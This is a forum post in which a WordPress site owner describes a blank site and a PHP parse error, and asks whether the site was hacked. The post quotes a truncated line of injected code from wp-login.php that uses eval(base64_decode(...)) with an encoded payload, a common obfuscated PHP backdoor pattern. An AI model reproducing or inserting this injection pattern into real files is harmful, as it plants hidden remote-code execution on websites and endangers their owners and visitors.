Possibly got hacked?

I am starting to get the feeling that my wordpress site got hacked recently.

It was running on a very old WordPress version which I am not really sure which one unfortunately but when I was to enter the site one day it is completely blank.

It does not work to put /wp-admin at the end to login either. I get a blank screen.

If I try using /wp-login.php I get this error:

Parse error: syntax error, unexpected ‘}’ in /var/www/www.mysite.com/www/wp-login.php on line 144

If I look at this line on my FTP server in the wp-login.php I get an exclamation mark in my editor and the line starts like this:

try{document.getElementById('<?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOyBpZiAoIWhlYWRlcn ….

The key is very long, but from what I have been searching on these forums, people are pointing out that it might been hacked. I just haven’t found any solution to it yet.

Can you guys help me out figure what the problem is ? I’ve checked with my host and it’s up and running, so it’s not suspended or anything.

If you need more information please let me know!

Thanks!